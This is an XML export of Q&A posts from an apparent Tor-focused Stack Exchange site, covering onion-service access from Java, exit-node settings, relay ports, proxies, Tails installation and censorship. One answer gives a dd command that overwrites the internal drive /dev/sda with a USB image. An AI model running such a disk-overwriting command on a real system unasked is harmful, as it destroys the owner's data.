  <row Id="9171" PostTypeId="1" CreationDate="2015-12-04T21:48:21.037" Score="0" ViewCount="455" Body="&lt;p&gt;Without using tor2web is there a way for my Java program to connect to a hidden service .onion and retrieve data, for example search and then download a file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want the easiest solution possible, so it does not just have to be a programming solution.&lt;/p&gt;&#xA;" OwnerUserId="10121" LastActivityDate="2016-01-01T19:32:32.367" Title="Connect to hidden service" Tags="|tor-browser-bundle|onion-services|java|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9172" PostTypeId="2" ParentId="9171" CreationDate="2015-12-05T10:18:16.903" Score="1" Body="&lt;p&gt;Try &lt;a href=&quot;http://sourceforge.net/projects/silvertunnel-ng/&quot; rel=&quot;nofollow&quot;&gt;Silvertunnel-NG&lt;/a&gt; and configure other libraries to use its socks proxy to connect to .onion .&lt;/p&gt;&#xA;" OwnerUserId="4894" LastActivityDate="2015-12-05T10:18:16.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9173" PostTypeId="1" CreationDate="2015-12-01T05:02:12.327" Score="3" ViewCount="5544" Body="&lt;pre&gt;&lt;code&gt;StrictNodes1&#xA;ExitNodes {us}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is no longer working for me after the new update. It seems like it works sometimes and doesn't sometimes. Each time the circuit gets rebuilt I end up in a non-US exit node. No one has been able to figure this out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked the post here: &lt;a href=&quot;https://stackoverflow.com/questions/13422099/tor-strictexitnodes-is-not-working&quot;&gt;https://stackoverflow.com/questions/13422099/tor-strictexitnodes-is-not-working&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to add &lt;code&gt;-f&lt;/code&gt; from the command prompt and point to the &lt;code&gt;torrc&lt;/code&gt; file. It doesn't work, all it does is try to load that file in the browser.&lt;/p&gt;&#xA;" OwnerDisplayName="Derek" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:21.987" LastActivityDate="2022-07-05T10:35:14.583" Title="Tor Strictnodes not working" Tags="|configuration|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9174" PostTypeId="2" ParentId="9173" CreationDate="2015-12-05T22:51:14.140" Score="2" Body="&lt;p&gt;You need to make sure it is &lt;code&gt;StrictNodes 1&lt;/code&gt; (&amp;lt;-- With a space before the '1')&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the relevant section in the Tor documentation: &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#StrictNodes&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/tor-manual.html.en#StrictNodes&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9508" LastEditorUserId="350" LastEditDate="2015-12-05T23:15:32.873" LastActivityDate="2015-12-05T23:15:32.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9175" PostTypeId="1" CreationDate="2015-12-06T02:47:27.213" Score="1" ViewCount="277" Body="&lt;p&gt;Tor Browser options==&gt;Advanced==&gt;Network==&gt;Settings shows a manual setting of SOCKS host: 127.0.0.1 and port 9050.  I have not changed anything within the Tor Browser or the settings for the Spybot proxy, which is the system proxy.  I just want to confirm that all is fine as is.  Or do I need to turn off the Spybot proxy when I use the Tor Browser?  &lt;/p&gt;&#xA;" OwnerUserId="10129" LastEditorUserId="350" LastEditDate="2015-12-06T10:39:15.460" LastActivityDate="2016-01-06T06:03:35.147" Title="My Windows 7 Computer uses the proxy from Spybot Search&amp;Destroy. Does this work ok?" Tags="|proxy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9176" PostTypeId="1" CreationDate="2015-12-06T08:52:08.100" Score="3" ViewCount="398" Body="&lt;p&gt;My relay is currently using the default ports (9001, 9030). I'm using port 443, but 80 is available. Would it be useful to use port 80 for either the ORPort or the DirPort? If so, which one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerDisplayName="user10132" LastActivityDate="2015-12-06T17:22:35.400" Title="Best use of port 80 for my Tor relay" Tags="|relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9177" PostTypeId="1" CreationDate="2015-12-06T13:22:03.027" Score="0" ViewCount="900" Body="&lt;p&gt;I have a Kingston flash drive and I want to install Tails. But I read somewhere that when you install an OS on a Kingston flash drive, it can't be changed back to a regular flash drive. If I install tails, would I be able to format that flash drive to what it was, or it is permanent? Or do I need to have a USB stick just for Tails?&lt;/p&gt;&#xA;" OwnerUserId="10135" LastEditorUserId="350" LastEditDate="2015-12-06T17:27:45.980" LastActivityDate="2015-12-06T18:13:19.410" Title="Formating Kingston USB" Tags="|tails|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9178" PostTypeId="1" CreationDate="2015-12-06T16:50:18.250" Score="3" ViewCount="25818" Body="&lt;p&gt;Is there a list of countries and organizations blocking Tor somewhere?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I am basically looking for a list where the use of Bridge Nodes is the only way to connect to the Tor network.&lt;/p&gt;&#xA;" OwnerUserId="1292" LastActivityDate="2016-03-06T19:41:20.243" Title="Is there a list of countries and organizations blocking Tor?" Tags="|bridge|censorship|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9179" PostTypeId="2" ParentId="9176" CreationDate="2015-12-06T17:22:35.400" Score="1" Body="&lt;p&gt;I don't know, but my gut feeling is...&lt;br&gt;&#xA;If you're a Guard, then ORPort, otherwise either DirPort or &quot;doesn't matter&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It makes sense to help clients connect to you from behind a firewall. Other relays not so much. If you run a relay, you know you do so publicly, and probably not from a restricted place. Relays are likely able to connect to you on any port.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-12-06T17:22:35.400" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9180" PostTypeId="2" ParentId="9177" CreationDate="2015-12-06T18:13:19.410" Score="1" Body="&lt;p&gt;Installing tails does not destroy your usb stick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tails documentation explains how to uninstall tails from your usb stick,&#xA;see this link:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tails.boum.org/doc/first_steps/reset/index.en.html&quot; rel=&quot;nofollow&quot;&gt;Uninstalling Tails or resetting a USB stick or SD card&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has instructions for Windows, Linux and Mac.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2015-12-06T18:13:19.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9181" PostTypeId="2" ParentId="9175" CreationDate="2015-12-07T06:03:27.240" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Tor Browser options==&gt;Advanced==&gt;Network==&gt;Settings shows a manual setting of SOCKS host: 127.0.0.1 and port 9050.  I have not changed anything within the Tor Browser [...]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;TOR Browser uses these settings to connect to TOR on the local machine to route traffic through the TOR network and are thus set automatically.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[D]o I need to turn off the Spybot proxy when I use the Tor Browser?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, I don't use Spybot but if everything is working correctly with the Spybot Proxy enabled, this is probably more a question of privacy. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Introducing a new piece of software enhances the risk of exploits or data leaks in general. TOR operates just fine without a secondary proxy and unless the Spybot proxy is providing VPN services (in which case, there are a ton of articles on TOR/VPN combination) I would be highly tempted to turn it off.&lt;/p&gt;&#xA;" OwnerUserId="3027" LastActivityDate="2015-12-07T06:03:27.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9183" PostTypeId="1" CreationDate="2015-12-07T11:33:05.427" Score="0" ViewCount="125" Body="&lt;p&gt;I managed to get all traffic routed through tor using the following this &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want now to know if it's possible to turn this on and off on command. I've tried reversing it with the following to no avail:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/sh&#xA;&#xA;iptables -P INPUT ACCEPT&#xA;iptables -P OUTPUT ACCEPT&#xA;iptables -P FORWARD ACCEPT&#xA;&#xA;iptables -F INPUT&#xA;iptables -F OUTPUT&#xA;iptables -F FORWARD&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how this would be possible?&lt;/p&gt;&#xA;" OwnerUserId="10009" LastEditorDisplayName="user8218" LastEditDate="2015-12-08T01:53:36.857" LastActivityDate="2017-02-07T20:43:29.420" Title="re-allow traffic through clearnet firefox" Tags="|tor-browser-bundle|configuration|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9184" PostTypeId="2" ParentId="9178" CreationDate="2015-12-07T12:43:05.657" Score="3" Body="&lt;p&gt;According to the &lt;a href=&quot;https://blog.torproject.org/category/tags/china&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt;,  &lt;strong&gt;China&lt;/strong&gt; has succeeded to block Tor partially &lt;em&gt;because China’s Internet is fundamentally different.&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apparently, &lt;strong&gt;Iran&lt;/strong&gt; went a little bit farther in blocking Tor according to this &lt;a href=&quot;https://blog.torproject.org/blog/iran-blocks-tor-tor-releases-same-day-fix&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor is used to circumvent censorship:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nV4HC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nV4HC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Russia also wants to do the same (&lt;a href=&quot;https://torrentfreak.com/vpn-and-tor-ban-looming-on-the-horizon-for-russia-150212/&quot; rel=&quot;nofollow noreferrer&quot;&gt;VPN and TOR Ban Looming on the Horizon for Russia&lt;/a&gt;) but apparently it can not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, after the recent attacks on Paris, &lt;strong&gt;France&lt;/strong&gt; want to ban the use of Tor (&lt;a href=&quot;http://thehackernews.com/2015/12/France-tor-ban.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;France wants to BAN Tor and Free Wi-Fi Services after Paris Terror Attacks&lt;/a&gt;) but for the moment I can use it :)&lt;/p&gt;&#xA;" OwnerDisplayName="user8218" LastEditorDisplayName="user8218" LastEditDate="2015-12-07T17:59:19.003" LastActivityDate="2015-12-07T17:59:19.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9185" PostTypeId="1" CreationDate="2015-12-08T09:35:39.790" Score="0" ViewCount="80" Body="&lt;p&gt;I have the following alias in 2 systems, the only difference between them is one uses bash/dash, while the other uses zsh, both systems running Debian testing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The alias is :-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ alias tor&#xA;alias tor='/home/shirish/.local/share/torbrowser/tbb/x86-64/tor-browser_en-US/Browser/start-tor-browser'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now if I try to do the same in bash I get the following :- &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ tor&#xA;bash: /home/shirish/.local/share/torbrowser/tbb/x86-64/tor-browser_en-US/Browser/start-tor-browser: No such file or directory&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;remarkably, if I go to the desired directory and then start the service, it works :-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;~/.local/share/torbrowser/tbb/x86_64/tor-browser_en-US/Browser Tue Dec 08 13:32 $ ./start-tor-browser&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;any ideas what am I doing wrong ?&lt;/p&gt;&#xA;" OwnerUserId="3547" LastActivityDate="2015-12-08T09:35:39.790" Title="tbb alias works in zsh and not in bash, can anybody tell me why?" Tags="|tor-browser-bundle|support|bash|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9187" PostTypeId="1" CreationDate="2015-12-08T16:40:33.953" Score="2" ViewCount="1080" Body="&lt;p&gt;Awhile ago, I had installed the Tor Browser as a way to evade an IP ban on a game I play. The Tor Browser was working quite well, until one of the IP addresses used was also IP banned. So, my question is, is there a way to make the Tor browser only use one alternate IP address, and potentially have the IP Address set in only one country, to reduce the chances of this occuring again?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this isn't possible, or incredibly difficult to do, is there a way to change the location of my alternate IPs to only be positioned in a single location? (Preferably an uncommon location, such as Japan) &lt;/p&gt;&#xA;" OwnerUserId="10146" LastEditorUserId="10146" LastEditDate="2015-12-08T17:01:31.173" LastActivityDate="2016-04-08T04:20:41.747" Title="How do I make Tor only give me one alternate ip address?" Tags="|configuration|anonymity|ip-address|" AnswerCount="1" CommentCount="1" ClosedDate="2016-04-08T06:21:25.067" ContentLicense="CC BY-SA 3.0" />
  <row Id="9190" PostTypeId="1" CreationDate="2015-12-09T10:09:17.490" Score="9" ViewCount="1867" Body="&lt;p&gt;I'm running a Tor non-exit relay on a network with a dynamic IP that changes every day. What is the update on how this can affect the metrics of my relay (mainly the stable flag, uptime, consensus weight, etc.)? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;While searching I found some good information in &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/1035&quot; rel=&quot;noreferrer&quot;&gt;this&lt;/a&gt; thread, but it looks quite old.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any recent updates on how Tor calculate the metrics?&lt;/p&gt;&#xA;" OwnerUserId="8197" LastActivityDate="2019-02-18T15:25:24.607" Title="How does having a dynamic IP for Tor relay affect its metrics?" Tags="|relays|consensus|ip-address|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9191" PostTypeId="1" CreationDate="2015-12-09T14:59:58.960" Score="2" ViewCount="102" Body="&lt;p&gt;The IP addresses of Exit nodes are well known for anyone who is interested in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to setup an exit node so its IP address isn't published in the list of Tor exit nodes?&lt;/p&gt;&#xA;" OwnerUserId="10156" LastEditorUserId="350" LastEditDate="2015-12-09T16:53:15.773" LastActivityDate="2015-12-09T16:56:39.170" Title="Is it possible to add any IP address as exit node?" Tags="|exit-relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9192" PostTypeId="2" ParentId="9191" CreationDate="2015-12-09T16:56:39.170" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is it possible to add any IP address as exit node?  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Anyone can add an exit node to the network, regardless of their IP address. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is it possible to setup an exit node so its IP address isn't published in the list of Tor exit nodes?  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is not possible. All relays, whether or not they're exits, are listed in the consensus. This is what clients and relays use to connect and authenticate to each other.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-12-09T16:56:39.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9194" PostTypeId="1" AcceptedAnswerId="9195" CreationDate="2015-12-10T19:48:13.537" Score="1" ViewCount="544" Body="&lt;p&gt;I use Chrome and Yandex.Browser (basically a more private version of Chrome with a nicer GUI) and I want to be able to access the Tor network in these applications. I don't want a full Tor Browser to be running in the background as this would be inefficient, but I don't really know how to configure the &lt;em&gt;Expert Bundle&lt;/em&gt; advertised on the Tor website. How could I do this?&lt;/p&gt;&#xA;" OwnerUserId="8271" LastActivityDate="2015-12-11T13:21:22.193" Title="How could I configure a version of Tor to run only as a proxy?" Tags="|tor-browser-bundle|proxy|torsocks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9195" PostTypeId="2" ParentId="9194" CreationDate="2015-12-11T13:21:22.193" Score="2" Body="&lt;p&gt;Tor and TBB are two different things. TBB (i.e. Tor Browser Bundle) is a specific browser &quot;adapted&quot; for anonymity (e.g. hasn't 3rd parties that could leak personal infos), so Tor is just a proxy that already runs as a proxy.&#xA;What you've to do is just run &lt;em&gt;tor.exe&lt;/em&gt; and check the output, if you find something like &lt;code&gt;[notice] Opening Socks listener on 127.0.0.1:9050&lt;/code&gt; everything is done. If don't find this probably there is something wrong, so re-download the file and try again (because Tor by default open a socks proxy on localhost serving on port 9050).&#xA;But remember that this is &lt;strong&gt;not&lt;/strong&gt; so safe, and this is why they made a TBB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step two, you've just to configure Chrome to use a proxy with &lt;code&gt;localhost&lt;/code&gt; as address and &lt;code&gt;9050&lt;/code&gt; as port to point to.&lt;/p&gt;&#xA;" OwnerDisplayName="user3524" LastActivityDate="2015-12-11T13:21:22.193" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9196" PostTypeId="1" CreationDate="2015-12-12T04:48:22.933" Score="3" ViewCount="1086" Body="&lt;p&gt;I appreciate the Tor Browser's privacy features, but I don't want to run my data through the tor network. Instead I have a socks5 proxy I'd like to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried disabling the TorLauncher addon, which allows me to use TorBrowser normally without a proxy.  If I try to add my proxy however, I get the &quot;Unable to find the proxy server&quot; error page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I use the same exact proxy settings in a normal Firefox browser, the connection works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some sort of hidden setting specific to TorBrowser that's causing this behavior?  Alternatively, is it possible to replicate TorBrowser's privacy settings in a normal Firefox instance?(afaik TorButton is no longer released separately)&lt;/p&gt;&#xA;" OwnerUserId="10175" LastEditorDisplayName="user5" LastEditDate="2015-12-12T16:11:21.417" LastActivityDate="2017-01-02T12:00:42.607" Title="Tor Browser with custom proxy instead of Tor" Tags="|tor-browser-bundle|socks|proxy|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9197" PostTypeId="5" CreationDate="2015-12-12T06:37:01.087" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2015-12-12T06:37:01.087" LastActivityDate="2015-12-12T06:37:01.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9198" PostTypeId="4" CreationDate="2015-12-12T06:37:01.087" Score="0" Body="Proxy is a computer system or an application that acts as an intermediary for requests from clients seeking resources from other servers. Use SOCKS tag if your question deals with socks proxies." OwnerUserId="8197" LastEditorUserId="8197" LastEditDate="2015-12-14T07:48:23.393" LastActivityDate="2015-12-14T07:48:23.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9200" PostTypeId="1" CreationDate="2015-12-13T03:24:10.980" Score="1" ViewCount="1220" Body="&lt;p&gt;I'm setting up a relay on Ubuntu 14.04 using the instructions here: &lt;a href=&quot;https://www.torproject.org/docs/debian.html.en#ubuntu&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/debian.html.en#ubuntu&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My config is super small and basic:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ORPort 9050&#xA;DirPort 9030&#xA;RelayBandwidthRate 770 KB&#xA;RelayBandwidthBurst 1540 KB&#xA;Nickname coolrelaynamedawg&#xA;ContactInfo David &amp;lt;huertanix@nycresistor.com&amp;gt;&#xA;AccountingMax 1999 GB&#xA;AccountingStart month 1 12:00&#xA;ExitPolicy reject *:*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I edited /etc/tor/torrc with the aforementioned config and ran &lt;code&gt;sudo service tor restart&lt;/code&gt; I got:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Could not bind to 0.0.0.0:9050. Address already in use. Is Tor already running?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Running &lt;code&gt;ps aux | grep tor&lt;/code&gt; doesn't show that the Tor process is running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This server is a fresh DigitalOcean Ubuntu VPS and doesn't have a web server or anything installed. Any ideas what could be happening?&lt;/p&gt;&#xA;" OwnerUserId="9563" LastActivityDate="2015-12-13T03:49:03.287" Title="Relay Can't Bind Tor to Port 9050" Tags="|configuration|relays|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9203" PostTypeId="2" ParentId="9171" CreationDate="2015-12-13T20:14:22.063" Score="0" Body="&lt;p&gt;You can use any networking library for Java that speaks SOCKS5, then you can make connections via localhost:9050 to any location-hidden services (or clearnet services) via Tor.&lt;/p&gt;&#xA;" OwnerUserId="5301" LastActivityDate="2015-12-13T20:14:22.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9204" PostTypeId="2" ParentId="9161" CreationDate="2015-12-13T20:20:08.160" Score="1" Body="&lt;p&gt;There is nothing in Tor itself limiting the lifetime of the TCP connection. Although you do get a new circuit every 10 minutes (by default), if there are any TCP connections alive on the existing circuit it is not shut down until they all close as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, since a WebSocket connection is simply a long-lived TCP connection under the hood, one of the other pieces of your system is probably to blame. I would suggest getting it going without Tor at all and then introduce Tor once you've got it working reliably over &quot;normal&quot; networking conditions.&lt;/p&gt;&#xA;" OwnerUserId="5301" LastActivityDate="2015-12-13T20:20:08.160" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9207" PostTypeId="2" ParentId="9149" CreationDate="2015-12-13T23:33:27.787" Score="1" Body="&lt;p&gt;Use proxychains. It is already configured to send tcp through tor via 127.0.0.1:9050. If you're paranoid, make sure you block all udp traffic with iptables and use ip addresses as dns queries of hostnames will be a dead givaway of your targeted nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usage: ./proxychains [application] [args]&lt;/p&gt;&#xA;" OwnerUserId="10188" LastActivityDate="2015-12-13T23:33:27.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9208" PostTypeId="2" ParentId="1480" CreationDate="2015-12-14T01:53:41.770" Score="3" Body="&lt;p&gt;You can't install it to a hard drive in the same way as other operating systems but if your netbook has an internal drive then you can copy the ISO directly to the drive in the same way as you would copy the ISO to a USB drive. This will keep the &quot;amnesiac&quot; traits in place as it is just acting like the internal drive is a read-only CDROM (we are essentially copying an ISO to the drive, and CDROM file systems are read-only).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Follow these directions but do it while Tails is running from a USB drive and substitute the destination as your internal drive (usually /dev/sda or /dev/hda):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tails.boum.org/doc/first_steps/installation/manual/linux/index.en.html&quot; rel=&quot;nofollow&quot;&gt;https://tails.boum.org/doc/first_steps/installation/manual/linux/index.en.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short the dd command would look like this (sdc is your USB drive, sda is the internal HDD):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dd if=/dev/sdc of=/dev/sda bs=1M&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edit: In case you're wondering if this actually works, it does! I just used this method to create a VM without using a virtual CDROM drive.&lt;/p&gt;&#xA;" OwnerUserId="10189" LastActivityDate="2015-12-14T01:53:41.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9209" PostTypeId="1" CreationDate="2015-12-14T03:23:55.633" Score="1" ViewCount="776" Body="&lt;p&gt;I just updated my Tor with &lt;a href=&quot;https://dist.torproject.org/?C=M;O=D&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;tor-0.2.7.6.tar.gz&lt;/code&gt;&lt;/a&gt;, but when I run &lt;code&gt;tor&lt;/code&gt;, it uses 100% of one of my CPU's cores, even if I run something simple like &lt;code&gt;tor --version&lt;/code&gt;. What is going on?&lt;/p&gt;&#xA;" OwnerUserId="7643" LastActivityDate="2016-01-11T07:32:39.847" Title="Tor 0.2.7.6 uses 100% of CPU all the time!" Tags="|configuration|linux|performance|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9212" PostTypeId="2" ParentId="6744" CreationDate="2015-12-14T16:05:31.783" Score="-1" Body="&lt;p&gt;maybe there is no law against Tor because it is anyway nearly impossible (if the usage of Tor is done right) to locate/catch the persons who just use Tor; so they will start their investigation against critic persons at other points!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if i murder you and clean my tracks dumb the body right i am sure theres ways of me being pretty much impossible to connect to the case&#xA;yet murder is stil iligal&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tor = just an overlay network ( a network on a network ) &#xA;there are many more overlay networks than just tor the goverment really does not need tor it could easily create its own overlay network&#xA;actualy im a 100% sure they have and there deffenetly not using tor for there stuff&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tor itself will not keep you save it uses proxys clever usage of flash/java will get your true ip shown&#xA;if you want to be anonymous you will need variouse vpns aswel wich wil kost money&#xA;(free vpns sucks) u need vps that dont save logs &lt;/p&gt;&#xA;&#xA;&lt;p&gt;to anserw op's orriginal question ( as you probertly expected i dont have a solid anserw for you) im pretty sure you will get but raped if your using tor on the wrong side of korea ( how ever same probertly goes for using a regulair browser :P )&#xA;most countrys wil most likely dont ban tor because there are many more overlay networks users wil just move to a different one ( its megaupload/pirate bay all over again )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;being anonymous is not a crime the things you do when being annonymous can be crimes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;think about this im calling the police with an anon tip abouth a huge drug deal&#xA;tip turned out to be fake&#xA;police cant save my number and stuf and arrest me for calling in fake tips becauese they are providing this service&#xA;they are providing this service because they know its a verry usefull service&#xA;how ever it will bring its pains of being anonymous ( like i just showed )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if they remove change it so it isnt anonymous annymore i will not prank them annymore&#xA;but my brother who knows theres a courupt cop wil not tip them either because its not anonymous and the courupt cop on the police station wil backtrack my number and kill me &#xA;so it wil no longer work &lt;/p&gt;&#xA;&#xA;&lt;p&gt;anonymity is a double edged sword&#xA;a double edge sword we NEED to have in every society in order for the supressed to fight the titan &#xA;its the voice of the smal ones and the voice of the people &#xA;its where those who hide stuf wil hide and where you share information not to be shared &lt;/p&gt;&#xA;" OwnerUserId="10194" LastActivityDate="2015-12-14T16:05:31.783" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9213" PostTypeId="1" CreationDate="2015-12-14T19:12:09.107" Score="2" ViewCount="2777" Body="&lt;p&gt;I read in the FAQ that the Tor project officially doesn't recommend further Firefox add-ons. But it so happens that I won't use the Tor browser unless I get Adblock Edge to work like in my regular browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how can I install it? I am on Linux. I open the Add-ons, select Adblock Edge 2.1.9.1-signed, click 'install'. It downloads something then responds:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;There was an error downloading Adblock Edge.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What now?&lt;/p&gt;&#xA;" OwnerUserId="10196" LastActivityDate="2016-04-04T08:27:31.460" Title="Install Adblock Edge for Tor Browser" Tags="|add-on|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9214" PostTypeId="1" CreationDate="2015-12-14T19:56:11.910" Score="2" ViewCount="133" Body="&lt;p&gt;I am trying to understand Tor with respect to 'everday browsing'. For example, I'm not sure I understand the answers to &lt;a href=&quot;https://tor.stackexchange.com/questions/1116/if-i-log-into-facebook-with-tor-am-i-still-protected&quot;&gt;this question regarding logging into Facebook&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that if I have a Facebook account with real name etc., I am not anonymous &lt;em&gt;to Facebook&lt;/em&gt; once I log in, no matter whether I use Tor or not. But using Facebook from the Tor browser will still protect my anonymity to servers outside of Facebook, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I always keep a second normal browser open to use Facebook or can I do this in the Tor browser without compromising my privacy (on any other site I visit)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or put differently, can I just substitute my regular browser with the Tor browser without becoming entirely religious or a zealous vegan about my normal browsing habits. Do I have develop a paranoid browsing behavior or can I just visit the social media sites like before?&lt;/p&gt;&#xA;" OwnerUserId="10197" LastActivityDate="2016-01-13T22:08:38.357" Title="Can I just visit social media sites like I would in my previous life" Tags="|login|" AnswerCount="1" 